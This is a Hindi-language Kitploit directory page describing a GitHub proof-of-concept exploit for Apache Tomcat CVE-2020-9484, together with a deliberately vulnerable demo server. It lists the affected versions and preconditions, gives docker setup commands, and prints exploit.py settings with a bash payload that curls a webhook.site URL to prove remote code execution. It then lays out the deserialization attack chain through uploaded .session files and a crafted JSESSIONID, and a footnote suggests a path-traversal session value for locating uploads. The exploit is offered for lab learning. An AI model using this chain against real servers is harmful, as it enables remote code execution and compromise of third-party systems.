Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PoC_CVE-2020-9484 — CVE-2020-9484 के लिए PoC शोषण, और इसके प्रदर्शन के लिए एक कमजोर वेब एप्लिकेशन | Kitploit
उपकरण/GitHubGitHub/savsch/poc_cve-2020-9484
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

CVE-2020-9484 के लिए PoC शोषण, और इसके प्रदर्शन के लिए एक कमजोर वेब एप्लिकेशन

रिपॉजिटरी देखें
121 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

इस रिपॉजिटरी में CVE-2020-9484 के लिए एक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट है, साथ ही एक उदाहरण वेब सर्वर है जो इस एक्सप्लॉइट के प्रति संवेदनशील है।


इस भेद्यता के शोषण के लिए पूर्वापेक्षाएँ

प्रभावित टॉमकैट संस्करण हैं:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. PersistentManager सक्षम है और यह FileStore का उपयोग कर रहा है।
  2. हमलावर मनमानी सामग्री वाली फ़ाइल अपलोड करने में सक्षम है, फ़ाइल नाम एक्सटेंशन (विशेष रूप से .session फ़ाइलें) पर नियंत्रण रखता है, और यह जानता है कि इसे कहाँ अपलोड किया गया है।
  3. क्लासपाथ में गैजेट्स हैं (जैसे clojure या commons-collections) जिनका उपयोग जावा डिसीरियलाइज़ेशन हमले के लिए किया जा सकता है।

उदाहरण संवेदनशील सेवा

उदाहरण सेवा एक वेब सर्वर है जिसमें दो पेज हैं, /index.jsp (या सिर्फ ) और । यह उपयोगकर्ता को फ़ाइलें अपलोड और डाउनलोड करने की अनुमति देता है (वर्तमान सत्र के लिए विशिष्ट), प्रभावी रूप से फ़ाइल संग्रहण के रूप में कार्य करता है।

/
/list.jsp
  • यह फ़ाइल अपलोड का समर्थन करने वाले /upload पर POST अनुरोधों का समर्थन करता है, और उपयोगकर्ता को फ़ाइल नाम चुनने की अनुमति देता है। इससे .session एक्सटेंशन वाली फ़ाइलें अपलोड करना संभव हो जाता है। यह भी ज्ञात है कि सर्वर फ़ाइलों को निर्देशिका /var/tmp/uploads में संग्रहीत करता है।
  • इसमें FileStore का उपयोग करके PersistentManager सक्षम किया गया है। (देखें context.xml)
  • इसमें क्लासपाथ में clojure:1.8.0 है, इस प्रकार डिसीरियलाइज़ेशन हमले को सुगम बनाता है। (देखें pom.xml)

एक्सप्लॉइट

उदाहरण संवेदनशील सेवा स्थापित करने के लिए:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

सेवा अब http://localhost:8085/POC_CVE-2020-9484/ पर चालू और चल रही होनी चाहिए।

अब exploit.py की शुरुआत में कॉन्फ़िगरेशन वेरिएबल्स को समायोजित करें। PAYLOAD, यहां एक शेल स्क्रिप्ट, कोई भी फ़ाइल हो सकती है जिसे सर्वर द्वारा निष्पादित किया जा सकता है।

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

अब exploit.py चलाएँ। यह निम्नलिखित क्रियाएँ करता है:

  1. yoserial डाउनलोड करता है।
  2. yoserial का उपयोग करके दुर्भावनापूर्ण सीरियलाइज़्ड ऑब्जेक्ट्स (.session फ़ाइलों के रूप में) उत्पन्न करता है, जो अंततः सर्वर पर डिसीरियलाइज़ हो जाएंगे:
    • chmodPayload.session सर्वर पर अपलोड की गई PAYLOAD फ़ाइल को निष्पादन योग्य अनुमति देने के लिए।
    • executePayload.session सर्वर पर PAYLOAD फ़ाइल को निष्पादित करने के लिए।
  3. PAYLOAD को एक फ़ाइल के रूप में सर्वर पर अपलोड करता है।
  4. ऊपर उत्पन्न .session फ़ाइलों को सर्वर पर अपलोड करता है।
  5. सर्वर को JSESSIONID कुकी के साथ एक अनुरोध ट्रिगर करता है, जो पहले अपलोड की गई .sesssion फ़ाइलों का पथ है, जो सर्वर के सत्र संग्रहण के सापेक्ष है, इस प्रकार सर्वर पर उनके डिसीरियलाइज़ेशन और उसके बाद पेलोड के निष्पादन को ट्रिगर करता है।

फ़ुटनोट्स

  • कई सर्वर उपयोगकर्ता द्वारा अपलोड की गई फ़ाइलों को /path/to/uploads/base/directory/<JSESSIONID कुकी का मान>/uploads/filename प्रारूप के पथ में संग्रहीत करते हैं। ऐसे मामले में, फ़ाइल अपलोड POST अनुरोध के साथ ../../../../tmp प्रारूप के JSESSIONID का उपयोग करना (ऊपर exploit.py में उपयोग किए गए "1337"*8 जैसे मनमाने मान के बजाय) संभावित रूप से यह निर्धारित करने में सहायक हो सकता है कि अपलोड की गई फ़ाइल सर्वर पर कहाँ संग्रहीत है।
टूल डाउनलोड करें